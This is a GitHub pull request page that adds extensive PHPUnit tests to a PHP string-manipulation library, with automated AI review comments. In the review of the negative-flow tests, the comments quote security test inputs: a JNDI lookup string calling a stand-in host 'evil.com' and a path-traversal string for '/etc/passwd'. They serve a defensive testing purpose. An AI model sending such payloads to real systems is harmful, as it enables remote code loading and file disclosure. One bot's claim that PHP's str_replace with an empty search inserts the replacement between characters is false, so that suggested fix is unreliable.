test(unit): Add comprehensive test coverage across all functions #47
Conversation
Add extensive test coverage from 125 to 164 tests with 1106 assertions covering positive flow, negative flow, and comprehensive edge cases for all StringManipulation functions. Create new dedicated test classes for nameFix functionality and expand all existing test classes with robust scenarios. Fix all code quality issues including PHPMD violations, PHPStan and Psalm static analysis errors, and code style violations. New test classes created: • NameFixComprehensiveTest: Happy path scenarios for name fixing • NameFixEdgeCasesTest: Complex edge cases and boundary conditions • NameFixNegativeFlowTest: Error handling and negative scenarios • NameFixSpecialCharactersTest: Special character handling Enhanced existing test classes: • SearchWordsTest: Consolidated methods, added comprehensive scenarios • StrReplaceTest: Reduced method count, enhanced coverage • TrimTest: Split long methods, added performance tests • RemoveAccentsTest: Multi-language and encoding tests • Utf8AnsiTest: Real-world scenarios and performance tests • IsValidDateTest: Comprehensive edge cases and boundary conditions • All validation tests: Enhanced with additional edge cases Technical improvements: • Fixed PHPMD violations by reducing public method counts • Resolved PHPStan and Psalm static analysis issues • Improved code style compliance across all test files • Enhanced PHPStan memory configuration in composer.json • Added performance testing with timing assertions Quality metrics achieved: ✅ 164 tests passing (100% success rate) ✅ 1106 assertions ✅ 0 PHPMD violations ✅ 0 PHPStan errors ✅ 0 Psalm errors ✅ 0 code style violations ✅ 90% mutation testing score Signed-off-by: Marjo van Lier <marjo.vanlier@gmail.com>
📝 WalkthroughWalkthroughUpdates Composer script to set PHPStan memory limit. Broadly expands unit test coverage for StringManipulation methods (date/time validation, name normalization, accent removal, search word normalization, replace, trim, UTF-8 ANSI conversion). Reflection access bypassing removed in several tests; one internal API likely made public: StringManipulation::isValidSecond. Changes
Sequence Diagram(s)Estimated code review effort🎯 3 (Moderate) | ⏱️ ~25 minutes Tip 🔌 Remote MCP (Model Context Protocol) integration is now available!Pro plan users can now connect to remote MCP servers from the Integrations page. Connect with popular remote MCPs such as Notion and Linear to add more context to your reviews and chats. ✨ Finishing Touches
🧪 Generate unit tests
🪧 TipsChatThere are 3 ways to chat with CodeRabbit:
SupportNeed help? Create a ticket on our support page for assistance with any issues or questions. CodeRabbit Commands (Invoked using PR/Issue comments)Type Other keywords and placeholders
Status, Documentation and Community
|
![gemini-code-assist[bot]](https://avatars.githubusercontent.com/in/956858?s=60&v=4){kind=small}
There was a problem hiding this comment.
Summary of Changes
Hello @MarjovanLier, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed!
This pull request significantly enhances the test suite for the StringManipulation library, increasing test coverage from 125 to 164 tests with a total of 1106 assertions. The changes introduce comprehensive positive, negative, and edge case testing across various string manipulation functions, particularly focusing on the nameFix function. Additionally, it addresses and resolves static analysis issues and improves code style compliance, ensuring a robust and high-quality codebase.
Highlights
- Expanded Test Coverage: Increased the total number of tests to 164 with 1106 assertions, providing a more thorough validation of the StringManipulation functions.
- New NameFix Test Classes: Introduced four new dedicated test classes (NameFixComprehensiveTest, NameFixEdgeCasesTest, NameFixNegativeFlowTest, NameFixSpecialCharactersTest) to cover a wide array of international naming conventions, boundary conditions, and potential issues for the nameFix function.
- Enhanced Existing Test Suites: Updated and expanded tests for IsValidDateTest, SearchWordsTest, StrReplaceTest, TrimTest, RemoveAccentsTest, and Utf8AnsiTest to include more edge cases, performance checks, and negative flow scenarios.
- Code Quality Improvements: Addressed and fixed all PHPMD violations, resolved PHPStan and Psalm static analysis issues, and improved overall code style across test files, contributing to a cleaner and more maintainable codebase.
- PHPStan Configuration Update: Modified composer.json to increase PHPStan's memory limit, facilitating analysis of larger codebases.
- Achieved Quality Metrics: The PR ensures 100% test success, zero PHPMD/PHPStan/Psalm errors, zero code style violations, and a 90% mutation testing score, indicating high code quality and reliability.
Using Gemini Code Assist
The full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips.
Invoking Gemini
You can request assistance from Gemini at any point in your pull request via creating an issue comment (i.e. comment on the pull request page) using either /gemini <command> or @gemini-code-assist <command>. Below is a summary of the supported commands.
| Feature | Command | Description |
|---|---|---|
| Code Review | /gemini review |
Performs a code review for the current pull request in its current state. |
| Pull Request Summary | /gemini summary |
Provides a summary of the current pull request in its current state. |
| Comment | @gemini-code-assist | Responds in comments when explicitly tagged, both in issue comments and review comments. |
| Help | /gemini help |
Displays a list of available commands. |
Customization
To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a .gemini/ folder in the base of the repository. Detailed instructions can be found here.
Limitations & Feedback
Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for Github and other Google products, sign up here.
You can also get AI-powered code generation, chat, as well as code reviews directly in the IDE at no cost with the Gemini Code Assist IDE Extension.
Footnotes
-
Review the Privacy Notices, Generative AI Prohibited Use Policy, Terms of Service, and learn how to configure Gemini Code Assist in GitHub here. Gemini can make mistakes, so double check it and use code with caution. ↩
Codecov Report✅ All modified and coverable lines are covered by tests. Additional details and impacted files@@ Coverage Diff @@
## main #47 +/- ##
===========================================
Coverage 100.00% 100.00%
Complexity 33 33
===========================================
Files 1 1
Lines 81 81
===========================================
Hits 81 81 ☔ View full report in Codecov by Sentry. 🚀 New features to boost your workflow:
|
|
Changelog updates: 🔄 2025-08-22 *Added
Changed
Fixed
|
There was a problem hiding this comment.
Code Review
This is an excellent pull request that significantly boosts the project's test coverage. The new tests are very comprehensive, covering a wide range of happy paths, edge cases, negative flows, and even performance scenarios. The refactoring of existing test files to consolidate and better organize tests is also a great improvement.
I've added a couple of minor suggestions to make some of the new negative/edge case tests even more robust by replacing weak assertions like assertNotEmpty with specific checks against expected output. Overall, this is a high-quality contribution that greatly improves the reliability of the library.
PR Code Suggestions ✨Explore these optional code suggestions:
|
||||||||||||||||
|
Manual-approval option for PR-Agent is disabled. You can enable it via a configuration file |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 6
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
tests/Unit/StrReplaceTest.php (1)
116-128: Expected result for empty search string is incorrect; PHP’s str_replace inserts between characters.With search === '' and non-empty subject, PHP produces xaxbxcx (inserts the replacement between and around characters). Your wrapper delegates to str_replace in this case, so the current expectation will fail.
Apply this diff to make the test reflect actual behaviour:
- // Test that empty search/replace with non-empty subject works correctly. - $result = StringManipulation::strReplace('', 'x', 'abc'); - self::assertSame('abc', $result); + // PHP's str_replace inserts the replacement when search is empty. + $result = StringManipulation::strReplace('', 'x', 'abc'); + self::assertSame('xaxbxcx', $result);
🧹 Nitpick comments (34)
composer.json (1)
101-101: Unbounded PHPStan memory can hide leaks; consider a targeted limit or using PHP’s memory_limit.Good call to unblock analysis, but
--memory-limit=-1can mask genuine memory regressions. Prefer one of:
- Use PHP to lift only the PHP process limit:
php -d memory_limit=-1 vendor/bin/phpstan analyse --no-progress --no-interaction.- Set a generous upper bound (e.g.,
--memory-limit=2G) instead of unlimited.If you keep
-1, document why in README/CONTRIBUTING.- "test:phpstan": "phpstan analyse --memory-limit=-1 --no-progress --no-interaction", + "test:phpstan": "php -d memory_limit=-1 ./vendor/bin/phpstan analyse --no-progress --no-interaction",tests/Unit/TrimTest.php (4)
36-57: Broaden basic cases: also cover default-characters invocation and empty mask.You already validate an empty mask in negative flow. Consider one basic case where
$charactersis omitted to exercise the default path.- public static function trimDataProvider(): array + public static function trimDataProvider(): array { return array_merge( self::getBasicTrimCases(), self::getAdvancedTrimCases(), self::getSpecialTrimCases(), ); } + // Outside provider: add + // self::assertSame('hello', StringManipulation::trim(' hello '));
84-96: Edge cases look solid; add one asymmetric trim for multi-char masks.Consider a case where only the left side matches one char from a multi-char mask and the right side matches another, to assert mask is treated as a set.
110-160: Time-based assertions are flaky on CI; mark as “slow” or relax thresholds.
microtime()assertions (<1.0s) can fail under load. Either:
- Mark as a slow/perf group and gate via CI, or
- Relax thresholds (e.g., 2–3s) and/or assert algorithmic expectations only.
Also, prefer
assertSamefor string equality.- public function testTrimNegativeFlow(): void + /** + * @group performance + */ + public function testTrimNegativeFlow(): void @@ - self::assertLessThan(1.0, $duration, 'Trim operation should complete within reasonable time'); + self::assertLessThan(2.0, $duration, 'Trim operation should complete within reasonable time');
166-203: Comprehensive boundaries; consider strict comparisons.Great boundary coverage (ASCII range mask, control chars, Unicode boundaries). Where feasible, prefer
assertSameto avoid type juggling.tests/Unit/IsValidDateTest.php (1)
249-296: Performance assertions may be brittle; gate or relax thresholds.Nested loops over 2020–2025 and complex formats under 0.1s can flake on shared CI. Recommend:
- Add
@group performanceand run conditionally, or- Bump thresholds (e.g., 0.2–0.5s), keeping functional assertions intact.
- self::assertLessThan(2.0, $duration, 'Batch date validation should complete efficiently'); + self::assertLessThan(3.0, $duration, 'Batch date validation should complete efficiently'); @@ - self::assertLessThan(0.1, $duration, 'Complex format validation should be fast'); + self::assertLessThan(0.5, $duration, 'Complex format validation should be fast');tests/Unit/Utf8AnsiTest.php (4)
148-174: Real-world strings read well; add one “unmapped code point passes through” check per block.You already do this elsewhere; a local assertion per language block (e.g., currency symbol) can make intent explicit.
180-199: Numbers/symbols behavior is correct; clarify euro escape expectation.Expectation keeps
\u20acuntouched, which aligns with the current mapping scope (Latin-1 block). Consider a short comment noting that\u20acis intentionally out of mapping.
205-224: Performance thresholds risk flakiness; mark as “performance” or relax.For 300 UTF-8 escapes, <1s is generally fine, but CI can spike. Consider grouping as slow/perf and/or loosening to 2s.
- self::assertLessThan(1.0, $duration, 'Large string conversion should be efficient'); + self::assertLessThan(2.0, $duration, 'Large string conversion should be efficient');
323-370: Edge-case and stress tests are valuable; consider CI guards on heavy inputs.
- Massive input and repeated-pattern tests (<0.5–2.0s) can intermittently fail on CI.
- Consider
@group performanceand threshold relaxation.- self::assertLessThan(0.5, $duration, 'Repeated pattern conversion should be fast'); + self::assertLessThan(1.5, $duration, 'Repeated pattern conversion should be fast'); @@ - self::assertLessThan(2.0, $duration, 'Maximum length conversion should complete in reasonable time'); + self::assertLessThan(3.0, $duration, 'Maximum length conversion should complete in reasonable time');tests/Unit/RemoveAccentsTest.php (2)
149-166: Good performance set; add CI-friendly guard or threshold relaxation.Large inputs (x100) can spike on shared runners. Consider
@group performanceand a slightly looser bound.- self::assertEquals($expectedLongString, StringManipulation::removeAccents($longAccentedString)); + self::assertEquals($expectedLongString, StringManipulation::removeAccents($longAccentedString)); // keep functional assert; relax perf if needed: - // (no change required if CI is stable) + // (optional) add @group performance on the test docblock
261-311: Edge/stress scenarios add confidence; consider asserting exact outcomes where feasible.Where you currently assert non-empty, you could assert specific transformations for boundary characters if the mapping guarantees it. Otherwise, current checks are acceptable.
tests/Unit/StrReplaceTest.php (2)
130-163: Array replacement scenarios look correct and document ordering effects.
- Overlapping replacements expectation 'XcXc' matches str_replace array semantics.
- Empty replacements and differing lengths are covered well.
One nit: prefer assertSame for string literals to tighten type expectations.
- self::assertEquals($expected, StringManipulation::strReplace($searches, $replacements, $text)); + self::assertSame($expected, StringManipulation::strReplace($searches, $replacements, $text));
232-278: Real-world scenarios are practical; consider marking performance-sensitive checks.The coverage is good. To avoid flakiness in slower CI workers, consider marking long-running assertions with a PHPUnit @group performance annotation or relaxing thresholds in slow environments.
tests/Unit/NameFixComprehensiveTest.php (1)
150-165: French prefixes: verify assumptions about punctuation-to-space mapping.These cases (e.g., handling of dots becoming spaces) depend on removeAccents/utf8Ansi mappings that are not shown here. If the mapping is changed later, these tests could become brittle. Consider adding a short docblock note that these expectations rely on those mappings.
tests/Unit/NameFixSpecialCharactersTest.php (3)
55-76: Trailing whitespace in expectation likely unintentional (fragile)."von und zu mcdonald-o'brien jr." expects a trailing space ("Jr "). Current implementation can produce it due to punctuation→space mapping after earlier trim, but this is easy to regress if nameFix later adds a final trim. Prefer asserting a trimmed result to avoid brittle failures, unless retaining the trailing space is a deliberately tested behaviour.
- "von und zu mcdonald-o'brien jr." => "von Und Zu McDonald-O'brien Jr ", + "von und zu mcdonald-o'brien jr." => "von Und Zu McDonald-O'brien Jr",
86-98: Destructuring with associative array values is fine; consider simpler shape.The foreach ([$input, $expected]) destructuring on values works, but the outer keys ('num_123', etc.) are unused. You could switch to a plain list to reduce noise.
- $names = [ - 'num_123' => ['123', '123'], - 'num_12345' => ['12345', '12345'], - 'num_0' => ['0', '0'], - 'num_999999' => ['999999', '999999'], - ]; + $names = [ + ['123', '123'], + ['12345', '12345'], + ['0', '0'], + ['999999', '999999'], + ];
20-50: Expectations hinge on removeAccents/utf8Ansi punctuation mapping.Cases like 'dr. smith' → 'Dr Smith' assume '.' maps to space. If this mapping is altered, these tests will flip. Consider a small inline comment stating this dependency to avoid future confusion.
tests/Unit/SearchWordsTest.php (1)
150-187: Performance assertions are reasonable; consider tagging to avoid CI flakiness.Microtime-based thresholds can vary across runners. Use @group performance or a wider threshold margin in low-resource CI to reduce flicker.
tests/Unit/NameFixEdgeCasesTest.php (4)
69-101: Punctuation handling assumptions depend on mapping; keep them documented.Ellipsis and dash variants expectations imply punctuation→space behaviours. Add a short comment referencing the mapping source to ease maintenance if those constants change.
105-141: Intentional encoding of current Mac/Mc heuristics.You’ve codified that 'mac' inside words (e.g., 'machete', 'machine') triggers Mac-case. This locks in current behaviour. If the intent is to differentiate true prefixes from substrings, consider marking these with a comment TODO for a future refinement rather than cementing as desired behaviour.
227-260: Space-variance tests reflect current trim strategy.Since nameFix trims early but not at the end post-transforms, results with NBSP and other space classes persist. If a later change introduces a final trim, some expectations here will need updates. Consider noting this explicitly to avoid false alarms.
391-414: Time-bound performance tests: add guardrails for CI variability.The 0.5s threshold per complex case is reasonable locally but may flap under load. Consider annotating with @group performance or widening to 0.75s while keeping an upper bound.
tests/Unit/NameFixNegativeFlowTest.php (11)
1-18: Solid test class scaffolding; consider adding grouping for performance testsNice: strict_types, proper namespace, final test class, focused @Covers. To make CI more predictable, add @group tags (e.g., @group performance) for the time-bound tests so they can be selectively included/excluded in pipelines. Also consider PHPUnit 10+ attributes (e.g., CoversClass/CoversFunction) for stricter coverage mapping.
71-104: Great boundary coverage; switch to data providers for per-case visibilityThe cases are valuable. Using data providers will surface the failing input directly in PHPUnit reports and simplify maintenance as the matrix grows.
Example refactor:
- public function testBoundaryConditions(): void - { - $boundaryCases = [ - 'a' => 'A', - // … - ]; - foreach ($boundaryCases as $input => $expected) { - self::assertEquals($expected, StringManipulation::nameFix($input), sprintf("Failed for boundary case: '%s'", $input)); - } - } + /** + * @dataProvider boundaryProvider + */ + public function testBoundaryConditions(string $input, string $expected): void + { + self::assertSame($expected, StringManipulation::nameFix($input)); + } + + public static function boundaryProvider(): array + { + return [ + ['a', 'A'], + // … + ]; + }
109-146: Security-themed expectations mix normalization with sanitization; avoid locking in non-goalsnameFix() is not a sanitizer. A few expectations (e.g., '${jndi:ldap://evil.com}' => '${jndi:ldap://evil Com}', '../../../etc/passwd' => ' / / /etc/passwd') imply punctuation-to-space mutation that is out-of-scope and may introduce surprising regressions later. Prefer asserting idempotence (unchanged) or limited, documented transformations (title-casing at word boundaries), and keep true sanitization for a separate API.
Example of narrower, intention-revealing expectations:
- '${jndi:ldap://evil.com}' => '${jndi:ldap://evil Com}', + '${jndi:ldap://evil.com}' => '${jndi:ldap://evil.com}', - '../../../etc/passwd' => ' / / /etc/passwd', + '../../../etc/passwd' => '../../../etc/passwd',
151-181: Encode/invalid-sequence tests don’t assert outcomes; simplify to inputs-only or assert stable invariantsYou build an $expectedOutput then purposefully don’t assert it and unset() it to appease PHPMD. This is noisy and can confuse future readers.
Two improvements:
- If exact outcomes are intentionally unspecified, store inputs only and assert invariants (no exceptions, string return, length not exploding).
- Or assert precise, documented behavior (e.g., BOM stripped, control chars preserved).
Example to simplify:
- $encodingCases = [ - "\xFF\xFE" => '', // BOM characters - // … - ]; - foreach ($encodingCases as $input => $expectedOutput) { - $result = StringManipulation::nameFix($input); - self::assertIsString($result, sprintf("Result should be string for input: '%s'", $input)); - // Note: $expectedOutput shows intended behaviour but exact match - // not tested due to encoding handling complexity - unset($expectedOutput); // Explicitly acknowledge variable for PHPMD - } + $encodingInputs = [ + "\xFF\xFE", "\xC0\x80", "\xED\xA0\x80", + "café\xFF\xFErestaurant", + "name\x00hidden", "name\x1Fcontrol", "name\x7Fdelete", + "name\x08\x0C", + "name\x0B\x0C\x0D\x0A", + ]; + foreach ($encodingInputs as $input) { + $result = StringManipulation::nameFix($input); + self::assertIsString($result); + self::assertLessThanOrEqual(strlen($input) * 2, strlen($result)); + }
186-218: Time-bound assertions risk flakiness; widen thresholds or mark as @group performance1.0s on shared CI runners can be tight for very long strings. Consider:
- Tagging with @group performance and excluding from default runs.
- Using more relaxed thresholds (e.g., 2–3s) while keeping input complexity high.
- Asserting algorithmic behavior indirectly (e.g., linear growth via doubling input size and checking sub-3x time).
Minimal change:
- self::assertLessThan(1.0, $duration, sprintf("Processing took too long for input: '%s'", $input)); + self::assertLessThan(2.5, $duration, sprintf("Processing took too long for input: '%s'", $input));
223-274: Numeric cases cleverly probe word-boundaries; a few expectations likely misaligned with nameFixHighlights:
- leading_789macarthur => '789mac Arthur' matches current behavior because 'mac' after a digit isn’t word-start; ucwords won’t produce 'Mac', so the final 'Mac ' → 'Mac' compaction doesn’t apply. Good to document this quirk in a comment.
- Decimal expectations ('3.14smith' => '3 14smith', 'Pi3.14159' => 'Pi3 14159') again rely on '.' → ' ' which nameFix does not guarantee. Suggest adjusting to retain '.' unless REMOVE_ACCENTS_* mappings explicitly include it.
Refactor suggestion: use a data provider instead of encoding inputs in map keys; this avoids the underscore parsing and improves readability.
Example:
- foreach ($numericCases as $key => $data) { - if (is_array($data)) { - [$input, $expected] = $data; - self::assertEquals($expected, StringManipulation::nameFix($input), sprintf("Failed for numeric case: '%s'", $input)); - continue; - } - $underscorePos = strpos($key, '_'); - $input = substr($key, $underscorePos !== false ? $underscorePos + 1 : 0); - $expected = $data; - self::assertEquals($expected, StringManipulation::nameFix($input), sprintf("Failed for numeric case: '%s'", $input)); - } + // Prefer a @dataProvider with explicit [$input, $expected].
280-317: Whitespace expectations around NBSP and control chars need confirmation against utf8Ansi mappingsThe NBSP cases (U+00A0) assume preservation. If UTF8_ANSI2 maps NBSP to ASCII space, these tests will fail sporadically across locales. Please confirm the mapping and either:
- Adjust expectations to match the mapping, or
- Add a short comment stating that NBSP is intentionally preserved by design.
Also, using assertSame would emphasize type and exactness for these nuanced cases.
322-367: Special character cases: punctuation-to-space again; tighten intentThe '?????test?????' => ' Test ' and '.....dot.....' => ' Dot ' cases look like searchWords concerns. For nameFix, consider:
- Asserting only the capitalization (e.g., leading 't' becomes 'T' if at word start), or
- Moving these to a searchWords test suite where punctuation normalization is explicitly exercised.
Minimal, intention-focused alternative:
- '.....dot.....' => ' Dot ', + '.....dot.....' => '.....dot.....',
372-405: Good capture of 'mc'/'mac' edge cases; document the 'machine' false-positive as known quirk'machine' => 'MacHine' codifies a current false-positive in the spacing-then-ucwords approach. Keep the test (it’s a valuable regression guard), but add a comment like “known false-positive; subject to change if prefix detection becomes word-boundary aware” to avoid blocking a future fix.
Also consider an explicit test for null input (nameFix(null) should return null) in this class to cover negative flows fully.
I can draft a boundary-aware prefix test fixture and a targeted issue to track improving 'mac'/'mc' detection (word-boundaries, start-of-word after non-letters, etc.). Want me to open that?
411-436: Performance suite is excellent; reduce CI flakiness and assert on complexity growth
- Mark with @group performance to keep unit runs fast.
- Consider relative checks: doubling input size should not increase time by >3x. This is more robust across machines than fixed thresholds.
- The length-based guard is good. You could also assert memory by capping output size relative to input, which you already do.
Example threshold softening:
- self::assertLessThan(2.0, $duration, "Performance degraded for input length: " . (string) strlen($performanceCase)); + self::assertLessThan(3.0, $duration, "Performance degraded for input length: " . (string) strlen($performanceCase));
1-440: General: prefer assertSame over assertEquals for strings; data providers for better diagnostics
- Using assertSame enforces exact string matching and avoids edge-case type juggling.
- Data providers will surface each case as an individual test, improving failure diagnostics in CI and mutation testing reports.
No functional change example:
- self::assertEquals($expected, StringManipulation::nameFix($input), sprintf("Failed for …")); + self::assertSame($expected, StringManipulation::nameFix($input), sprintf("Failed for …"));
📜 Review details
Configuration used: Path: .coderabbit.yaml
Review profile: CHILL
Plan: Pro
💡 Knowledge Base configuration:
- MCP integration is disabled by default for public repositories
- Jira integration is disabled by default for public repositories
- Linear integration is disabled by default for public repositories
You can enable these sources in your CodeRabbit configuration.
📒 Files selected for processing (15)
composer.json(1 hunks)tests/Unit/IsValidDateTest.php(1 hunks)tests/Unit/IsValidHourTest.php(0 hunks)tests/Unit/IsValidMinuteTest.php(0 hunks)tests/Unit/IsValidSecondTest.php(0 hunks)tests/Unit/IsValidTimePartTest.php(0 hunks)tests/Unit/NameFixComprehensiveTest.php(1 hunks)tests/Unit/NameFixEdgeCasesTest.php(1 hunks)tests/Unit/NameFixNegativeFlowTest.php(1 hunks)tests/Unit/NameFixSpecialCharactersTest.php(1 hunks)tests/Unit/RemoveAccentsTest.php(1 hunks)tests/Unit/SearchWordsTest.php(1 hunks)tests/Unit/StrReplaceTest.php(3 hunks)tests/Unit/TrimTest.php(2 hunks)tests/Unit/Utf8AnsiTest.php(1 hunks)
💤 Files with no reviewable changes (4)
- tests/Unit/IsValidTimePartTest.php
- tests/Unit/IsValidHourTest.php
- tests/Unit/IsValidSecondTest.php
- tests/Unit/IsValidMinuteTest.php
🧰 Additional context used
📓 Path-based instructions (1)
**/*.php
⚙️ CodeRabbit configuration file
**/*.php: Review PHP code for adherence to PER Coding Style 2.0 guidelines. Ensure proper namespace usage, code organisation, and separation of concerns. Verify that SOLID principles are followed and encourage FOOP techniques—such as employing immutable data, pure functions, and functional composition—to improve maintainability, testability, and performance.
Files:
tests/Unit/RemoveAccentsTest.phptests/Unit/IsValidDateTest.phptests/Unit/SearchWordsTest.phptests/Unit/NameFixSpecialCharactersTest.phptests/Unit/NameFixComprehensiveTest.phptests/Unit/NameFixEdgeCasesTest.phptests/Unit/Utf8AnsiTest.phptests/Unit/TrimTest.phptests/Unit/StrReplaceTest.phptests/Unit/NameFixNegativeFlowTest.php
🧬 Code graph analysis (10)
tests/Unit/RemoveAccentsTest.php (1)
src/StringManipulation.php (2)
StringManipulation(31-450)removeAccents(227-245)
tests/Unit/IsValidDateTest.php (1)
src/StringManipulation.php (2)
StringManipulation(31-450)isValidDate(317-331)
tests/Unit/SearchWordsTest.php (1)
src/StringManipulation.php (2)
StringManipulation(31-450)searchWords(73-101)
tests/Unit/NameFixSpecialCharactersTest.php (1)
src/StringManipulation.php (2)
StringManipulation(31-450)nameFix(128-179)
tests/Unit/NameFixComprehensiveTest.php (1)
src/StringManipulation.php (2)
StringManipulation(31-450)nameFix(128-179)
tests/Unit/NameFixEdgeCasesTest.php (1)
src/StringManipulation.php (2)
StringManipulation(31-450)nameFix(128-179)
tests/Unit/Utf8AnsiTest.php (1)
src/StringManipulation.php (2)
StringManipulation(31-450)utf8Ansi(201-208)
tests/Unit/TrimTest.php (1)
src/StringManipulation.php (2)
StringManipulation(31-450)trim(355-358)
tests/Unit/StrReplaceTest.php (1)
src/StringManipulation.php (2)
StringManipulation(31-450)strReplace(272-285)
tests/Unit/NameFixNegativeFlowTest.php (1)
src/StringManipulation.php (2)
StringManipulation(31-450)nameFix(128-179)
⏰ Context from checks skipped due to timeout of 90000ms. You can increase the timeout in your CodeRabbit configuration to a maximum of 15 minutes (900000ms). (4)
- GitHub Check: guardrails/scan
- GitHub Check: Codacy Static Code Analysis
- GitHub Check: build (8.4)
- GitHub Check: build (8.3)
🔇 Additional comments (19)
tests/Unit/TrimTest.php (2)
25-31: Nice decomposition of the data provider for maintainability.Merging categorized providers keeps the test focused and readable.
62-79: Unicode whitespace coverage is on point.Exercising NBSP and En Quad with explicit masks ensures behavior is well-specified across locales.
tests/Unit/IsValidDateTest.php (2)
203-243: Edge/boundary suite aligns with implementation semantics.Checks for leap years, month lengths, and strict format equality mirror
DateTime::createFromFormat(...)plus strict reformat guard andcheckdate(). Looks correct.
302-347: Negative-flow coverage is thorough and matches strict parsing.Malformed, out-of-range, and mismatched-format cases reflect the private validators used by
isValidDate. Good suite.tests/Unit/Utf8AnsiTest.php (3)
118-142: Solid multi-character and mixed-content coverage.Validates contiguous sequences and ASCII mixing—good confidence in
strtrmapping behavior.
230-251: Special cases are well covered (newlines, tabs, quotes, brackets).Good assurance that non-escape content is preserved verbatim.
257-317: Robust negative-flow suite; keep invalid sequences round-tripped.Returning malformed sequences unchanged is explicit and safe. Nicely done.
tests/Unit/RemoveAccentsTest.php (2)
200-257: Negative-flow coverage is pragmatic and safe.Malformed/binary input is round-tripped, emojis and non-Latin scripts are preserved—this matches a “diacritics-only” contract.
68-118: Clarify handling for U+01F9 (ǹ)I’ve confirmed that the
REMOVE_ACCENTS_FROM/_TOarrays (inAccentNormalization.php) include a wide range of Latin-1 and Extended-A/B characters—but do not list U+01F9 (ǹ), soremoveAccents()will leave it untouched. Accordingly, the current assertion in your test:
- Input:
Café Restauraǹt Menü- Expected:
Cafe Restauraǹt Menucorrectly reflects the implementation’s scope.
Next steps:
- If you intend to strip all diacritics (including U+01F9), add a mapping entry (
'ǹ' => 'n'and'Ǹ' => 'N') to theREMOVE_ACCENTS_FROM/TOconstants.- Otherwise, consider documenting that only the listed code points are normalized and others (like ǹ) remain as-is.
Let me know which direction you’d like to take so we can ensure consistency between behavior, tests, and documentation.
tests/Unit/StrReplaceTest.php (3)
40-59: Good coverage of basic behaviours (including not-found, single, and multi-replacements).These assertions align with the current strReplace implementation (single-char optimisation via strtr and array semantics of str_replace). No issues spotted here.
62-79: Nice mutation-proofing for the single-character optimisation.Verifies the divergent paths (strtr vs str_replace) effectively and would catch a regression in the length check.
100-113: Solid differential behaviour check between strtr and str_replace.Using strtr for the expectation here is appropriate since your wrapper uses strtr when the search is a single character.
tests/Unit/NameFixComprehensiveTest.php (4)
21-76: Great breadth on Mac/Mc handling, including spacing and mixed case.This suite captures the intended behaviour of the current nameFix logic (space-insertion + later compaction and proper-case with hyphen handling). No action required.
81-115: Dutch prefix expectations align with current prefix-lowering list.Note: Only van|von|den|der|des|de|du|la|le are lowered by design. Tests correctly reflect that te/ter remain capitalised.
223-252: Hyphenated and compound names are well covered.The hyphen-aware ucwords pipeline is validated across multiple combinations, including prefixes and Mac/Mc on either side of hyphens.
339-342: Null handling covered.Confirms the function’s nullable contract without reflection hacks—good.
tests/Unit/SearchWordsTest.php (1)
17-31: Resolved: PHP ≥8.3 Constraint Already Covers Typed Class Constants
The project’s composer.json specifies"php": ">=8.3.0|>=8.4.0", which satisfies the requirement for typed class constants introduced in PHP 8.3.0—so the use ofprivate const string …in your tests is fully supported and will not cause parse errors.
- No changes needed in
tests/Unit/SearchWordsTest.php(or any of the other test files that use typed constants).- Typed-constant declarations in
tests/Unit/Utf8AnsiTest.php,tests/Unit/StrReplaceTest.php,tests/Unit/TrimTest.php,tests/Unit/IsValidDateTest.php, and the benchmark also remain valid under the existing PHP constraint.tests/Unit/NameFixEdgeCasesTest.php (2)
23-64: Unicode normalisation expectations accurately capture current limitations.Good to explicitly assert that decomposed forms (e + combining mark) are not normalised by removeAccents, preventing overreach in future changes.
146-182: Boundary tests are thorough; note dependencies on word-boundary semantics.van/de lowering relies on \b boundaries. Some Unicode spaces are not recognised as boundaries by preg, which you also test—nice catch.
There was a problem hiding this comment.
Pull Request Overview
This PR significantly expands the test coverage for StringManipulation from 125 to 164 tests with 1106 assertions, adding comprehensive coverage across all functions with focus on positive flow, negative flow, edge cases, and performance testing.
- Added 4 new comprehensive test classes specifically for the
nameFixfunction covering various scenarios and edge cases - Enhanced 6 existing test classes with expanded coverage including performance testing and boundary conditions
- Improved PHPStan configuration to handle large test suites more efficiently
Reviewed Changes
Copilot reviewed 15 out of 15 changed files in this pull request and generated 6 comments.
Show a summary per file
| File | Description |
|---|---|
| NameFixComprehensiveTest.php | Comprehensive positive flow testing for international naming conventions |
| NameFixEdgeCasesTest.php | Edge case testing covering Unicode, punctuation, and boundary conditions |
| NameFixNegativeFlowTest.php | Negative flow and security testing for malformed inputs and stress scenarios |
| NameFixSpecialCharactersTest.php | Special character testing for complex alphanumeric combinations |
| Utf8AnsiTest.php | Expanded UTF-8 conversion testing with real-world scenarios and performance |
| StrReplaceTest.php | Enhanced string replacement testing with comprehensive array and edge cases |
| SearchWordsTest.php | Comprehensive search functionality testing with Unicode and performance scenarios |
| RemoveAccentsTest.php | Multi-language accent removal testing with performance and encoding validation |
| TrimTest.php | Enhanced trim testing with Unicode handling and boundary conditions |
| IsValidDateTest.php | Comprehensive date validation with leap year and boundary testing |
| composer.json | PHPStan memory configuration enhancement |
Tip: Customize your code reviews with copilot-instructions.md. Create the file or learn how to get started.
User description
Summary
This PR significantly expands the test coverage from 125 to 164 tests with 1106 assertions, adding comprehensive positive flow, negative flow, and edge case testing across all StringManipulation functions.
New Test Classes Added
Enhanced Existing Test Classes
Technical Improvements
Quality Metrics Achieved
Test Categories Covered
Files Changed
This comprehensive test expansion provides robust protection against regressions whilst thoroughly documenting expected behaviour across diverse international naming conventions and edge cases.
Signed-off-by: Marjo van Lier marjo.vanlier@gmail.com
PR Type
Tests
Description
• Added 4 new comprehensive test classes for
nameFixfunction covering positive flow, negative flow, edge cases, and special characters• Expanded test coverage from 125 to 164 tests with 1106 assertions across all StringManipulation functions
• Enhanced existing test classes (
SearchWordsTest,StrReplaceTest,TrimTest,RemoveAccentsTest,Utf8AnsiTest,IsValidDateTest) with comprehensive scenarios• Added performance testing with timing assertions and stress testing for large datasets
